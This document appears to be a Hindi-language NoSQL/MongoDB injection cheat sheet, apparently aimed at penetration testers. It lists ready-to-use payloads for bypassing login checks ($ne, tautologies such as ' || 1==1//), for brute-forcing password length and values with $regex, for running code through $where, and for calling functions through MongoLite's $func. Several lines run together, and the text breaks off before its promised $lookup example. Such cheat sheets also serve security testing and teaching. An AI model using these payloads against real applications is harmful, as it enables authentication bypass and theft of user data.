PHP में आप एक एरे भेज सकते हैं जिसे पैरामीटर=foo से पैरामीटर[arrName]=foo में बदलकर भेज सकते हैं।
शोषण एक ऑपरेटर जोड़ने पर आधारित हैं:
username[$ne]=1$password[$ne]=1#<Not Equals>username[$regex]=^adm$password[$ne]=1#Check a <regular expression>, could be used to brute-force a parameterusername[$regex]=.{25}&pass[$ne]=1#Use the <regex> to find the length of a valueusername[$eq]=admin&password[$ne]=1#<Equals>username[$ne]=admin&pass[$lt]=s#<Less than>, Brute-force pass[$lt] to find more usersusername[$ne]=admin&pass[$gt]=s#<Greater Than>username[$nin][admin]=admin&username[$nin][test]=test&pass[$ne]=7 #<Matches non of the values of the array> (not test and not admin)
{ $where: "this.credits == this.debits"}#<IF>,canbeusedtoexecutecode
एक हमलावता इसे इस्तेमाल करके इसे एक तरह की तौतोलॉजी के साथ शर्त पूरी करके सभी दस्तावेज़ लौटाने के लिए क्वेरी को वापस कर सकता है ('a'=='a'). यह SQL इंजेक्शन हमलों के समान है जहां इनपुट्स जैसे ' or 1=1-- - का उपयोग SQL क्वेरी को मानिबंधन करने के लिए किया जाता है। MongoDB में, इसी तरह के हमले किए जा सकते हैं जैसे कि ' || 1==1//, ' || 1==1%00, या admin' || 'a'=='a।
Normal sql: ' or 1=1-- -
Mongo sql: ' || 1==1// or ' || 1==1%00 or admin' || 'a'=='a
लंबाई जानकारी निकालें
username[$ne]=toto&password[$regex]=.{1}username[$ne]=toto&password[$regex]=.{3}# True if the length equals 1,3...
MongoLite पुस्तकालय के $func ऑपरेटर का उपयोग करके (डिफ़ॉल्ट रूप से उपयोग किया जाता है) इसमें संभावना है कि इस रिपोर्ट में एक अनियमित फ़ंक्शन को निष्पादित किया जा सकता है।
"user":{"$func":"var_dump"}
विभिन्न संग्रह से जानकारी प्राप्त करें
$lookup का उपयोग एक विभिन्न संग्रह से जानकारी प्राप्त करने के लिए संभव है। निम्नलिखित उदाहरण में, हम एक विभिन्न संग्रह जिसे उपयोक्ता कहा जाता है से पठन कर रहे हैं और एक वाइल्डकार्ड से मेल खाते पासवर्ड के सभी प्रविष्टियों के परिणाम प्राप्त कर रहे हैं।
ध्यान दें:$lookup और अन्य समूहीकरण कार्य केवल उस समीक्षा को करने के लिए उपलब्ध हैं जिसमें अधिक सामान्य find() या findOne() कार्यों का उपयोग नहीं किया गया था।